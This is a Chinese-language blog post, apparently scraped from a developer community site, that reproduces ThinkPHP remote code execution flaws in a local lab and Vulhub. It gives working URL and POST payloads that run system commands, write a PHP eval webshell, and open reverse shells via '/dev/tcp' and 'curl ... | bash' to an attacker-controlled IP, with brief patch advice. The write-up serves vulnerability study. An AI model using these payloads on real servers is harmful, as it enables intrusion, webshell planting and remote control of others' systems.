相关文章推荐
急躁的绿茶  ·  東華大學校園公告 - ...·  1 年前    · 
严肃的黄瓜  ·  三大男神合体,“年度韩剧”还差了点什么?·  1 年前    · 
憨厚的人字拖  ·  金华共青团:全方位变工作对象为工作力量--期 ...·  1 年前    · 
忐忑的毛衣  ·  营造国际一流法治化营商环境·  1 年前    · 
听话的小刀  ·  隔壁的哥哥很难追漫画免费 - ...·  2 年前    · 
Code  ›  Thinkphp漏洞复现总结开发者社区
javascript 网络安全 preg_replace thinkphp5
https://cloud.tencent.com/developer/article/1988389
叛逆的脸盆
1 年前
C4rpeDime

Thinkphp漏洞复现总结

前往小程序,Get 更优 阅读体验!
立即前往
腾讯云
开发者社区
文档 建议反馈 控制台
首页
学习
活动
专区
工具
TVP
最新优惠活动
文章/答案/技术大牛
发布
首页
学习
活动
专区
工具
TVP 最新优惠活动
返回腾讯云官网
C4rpeDime
首页
学习
活动
专区
工具
TVP 最新优惠活动
返回腾讯云官网
社区首页 > 专栏 > Thinkphp漏洞复现总结

Thinkphp漏洞复现总结

作者头像
C4rpeDime
发布 于 2022-04-26 21:44:24
2.6K 0
发布 于 2022-04-26 21:44:24
举报
文章被收录于专栏: 黑白安全

Thinkphp简介ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的,是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC

Thin kphp简介

ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的,是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。

ThinkPHP可以支持windows/Unix/Linux等服务器环境,正式版需要PHP5.0以上版本支持,支持MySql、PgSQL、Sqlite多种数据库以及PDO扩展,是一款跨平台,跨版本以及简单易用的PHP框架。

Thinkphp本地安装

官网链接:http://www.thinkphp.cn/down.html

Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析  第1张
Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析 第1张

本地搭建

1 安装vc9_x86(必装)

Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析  第2张
Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析 第2张

2安装phpstudy20161103

Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析  第3张
Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析 第3张

开启php

Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析  第4张
Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析 第4张

将下载好的thinkphp5.0.22解压,可以得到下图中的内容,将所有文件复制到网站的根目录,也就是www/web(这个是我新建的文件夹)

Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析  第5张
Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析 第5张

输入域名,这里本地,可以输入127.0.0.1或者localhost或者本地ip都可(这里如果是默认的域名, 远程访问 的时候要改一下hosts文件),网站目录可以是任意文件夹,默认是phpstudy安装目录下的WWW文件夹,点击新增后再点击保存设置并生成配置文件即可:

Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析  第6张
Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析 第6张
Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析  第7张
Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析 第7张
Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析  第8张
Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析 第8张

thinkphp的主目录是在public目录下,所以要进vhosts-conf文件配置目录

Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析  第9张
Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析 第9张
Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析  第10张
Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析 第10张
Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析  第11张
Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析 第11张

即可远程访问

Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析  第12张
Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析 第12张

Thinkphp本地复现

验证poc

代码语言: javascript
复制
http://192.168.8.89/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_arra
y&vars[0]=phpinfo&vars[1][]=-1%20and%20it%27ll%20execute%20the%20phpinfo
Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析  第13张
Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析 第13张

写入一句话

代码语言: javascript
复制
<?php eval($_POST['zcc']);?>
Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析  第14张
Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析 第14张
代码语言: javascript
复制
http://192.168.8.89/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zcc.php&vars[1][]=%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%7a%63%63%27%5d%29%3b%3f%3e
Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析  第15张
Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析 第15张

可以看见被成功写入

Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析  第16张
Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析 第16张

蚁剑成功连接

Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析  第17张
Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析 第17张
Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析  第18张
Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析 第18张

Vulhub-Thinkphp复现

Thinkphp 2.x 任意代码执行漏洞

漏洞简介

ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由:

代码语言: javascript
复制
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,
$paths));

导致用户的输入参数被插入 双引号 中执行,造成任意 代码执行 漏洞

ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。

preg_replace这个函数使用方法如下:

代码语言: javascript
复制
preg_replace('正则规则','替换字符','目标字符')

这个函数的3个参数,结合起来的意思是:如果目标字符存在符合正则规则的字符,那么就替换为替换字符,如果此时正则规则中使用了 /e 这个修饰符,则存在代码执行漏洞。

关于/e的解释:

代码语言: javascript
复制
e 配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行;  
/e 可执行模式,此为PHP专有参数,例如preg_replace函数。

可以使用在线php沙箱测试php版本是否支持/e修饰符

沙箱地址:http://sandbox.onlinephpfunctions.com/

preg_replace这个函数5.2~5.6都还是可以执行的,但是到了php 版本7 以上,就已经都不支持 /e 修饰符了。

参考链接:https://www.freebuf.com/column/223149.html

影响版本

代码语言: javascript
复制
ThinkPHP 2.x

漏洞复现

启动漏洞

代码语言: javascript
复制
sudo docker-compose up -d
Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析  第19张
Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析 第19张
Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析  第20张
Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析 第20张

验证漏洞

代码语言: javascript
复制
http://192.168.9.234:8080/index.php?s=/index/index/name/${@phpinfo()}
http://192.168.9.234:8080/index.php?s=/index/index/name/$%7B@phpinfo()%7D
Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析  第21张
Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析 第21张

构造poc

代码语言: javascript
复制
http://192.168.9.234:8080/index.php?s=a/b/c/${@print(eval($_POST[1]))}
Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析  第22张
Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析 第22张

caidao成功连接

Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析  第23张
Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析 第23张

这里对其进行抓包

Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析  第24张
Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析 第24张
Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析  第25张
Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析 第25张
代码语言: javascript
复制
1=system("id");
Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析  第26张
Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析 第26张

反弹shell

代码语言: javascript
复制
bash -i >& /dev/tcp/192.168.10.65/8888 0>&1
python -m SimpleHTTPServer 80
Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析  第27张
Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析 第27张
Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析  第28张
Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析 第28张

创建好bash

代码语言: javascript
复制
1=system("curl 192.168.10.65/zcc.sh | bash");
Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析  第29张
Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析 第29张
Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析  第30张
Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析 第30张

成功上线。

安全防护

用户可下载官方发布的补丁:

代码语言: javascript
复制
http://code.google.com/p/thinkphp/source/detail?spec=svn2904&r=2838

Thinkphp5-5.0.22/5.1.29远程执行代码漏洞

漏洞简介

ThinkPHP版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致 远程命令执行 漏洞。

影响版本

代码语言: javascript
复制
ThinkPHP 5.0.x < 5.0.23
ThinkPHP 5.1.x < 5.1.31

漏洞复现

Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析  第31张
Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析 第31张
Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析  第32张
Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析 第32张

验证漏洞

代码语言: javascript
复制
http://192.168.8.63:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_a
rray&vars[0]=phpinfo&vars[1][]=-1%20and%20it%27ll%20execute%20the%20phpinfo
Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析  第33张
Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析 第33张

任意代码执行

代码语言: javascript
复制
http://192.168.8.63:8080/index.php?s=index/think\app/invokefunction&function=call_user_func_arr
ay&vars[0]=system&vars[1][]=whoami
Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析  第34张
Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析 第34张

写入webshell

代码语言: javascript
复制
<?php eval($_POST[zcc]);?>  #需要进行url编码
代码语言: javascript
复制
http://192.168.8.63:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zcc.php&vars[1][]=%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%7a%63%63%27%5d%29%3b%3f%3e
Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析  第35张
Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析 第35张
Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析  第36张
Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析 第36张

蚁剑成功连接。

安全防护

ThinkPHP官方已经发布新版本修复了上述漏洞,强烈建议受影响的用户及时升级进行防护。具体升级方法请参考:https://blog.thinkphp.cn/869075

Thinkphp5.0.23 远程代码执行漏洞

漏洞简介

Thinkphp5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。

影响版本

代码语言: javascript
复制
Thinkphp 5.0.0~ 5.0.23

漏洞复现

开启漏洞

Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析  第37张
Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析 第37张
Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析  第38张
Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析 第38张

验证漏洞

bp抓包

Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析  第39张
Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析 第39张
代码语言: javascript
复制
POST /index.php?s=captcha HTTP/1.1
Host: 192.168.8.63:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析  第40张
Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析 第40张

反弹shell

代码语言: javascript
复制
curl 192.168.10.65/zcc.sh | bash
Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析  第41张
Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析 第41张
Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析  第42张
Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析 第42张
Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析  第43张
Thinkphp漏洞复现总结 漏洞复现 WEB安全 安全文摘 ThinkPHP 漏洞分析 第43张

成功反弹。

安全防护

升级到最新版本(如果是在5.0.0——5.0.23之间的)

Thinkphp5 SQL 注入漏洞 和 敏感信息 泄露漏洞

漏洞简介

传入的某参数在绑定编译指令的时候又没有安全处理,预编译的时候导致SQL异常报错。然而thinkphp5默认开启debug模式,在漏洞环境下构造错误的SQL语法会泄漏数据库账户和密码。

 
推荐文章
急躁的绿茶  ·  東華大學校園公告 - [教師會]哲學"非"星期五《艾未未˙草泥馬》影片播放暨映後座談5/21(二)
1 年前
严肃的黄瓜  ·  三大男神合体,“年度韩剧”还差了点什么?
1 年前
憨厚的人字拖  ·  金华共青团:全方位变工作对象为工作力量--期刊选粹-人民网
1 年前
忐忑的毛衣  ·  营造国际一流法治化营商环境
1 年前
听话的小刀  ·  隔壁的哥哥很难追漫画免费 - 隔壁的哥哥很难追漫画 - 漫画在线全集免费阅读 - 腾讯动漫
2 年前
今天看啥   ·   Py中国   ·   codingpro   ·   小百科   ·   link之家   ·   卧龙AI搜索
删除内容请联系邮箱 2879853325@qq.com
Code - 代码工具平台
© 2024 ~ 沪ICP备11025650号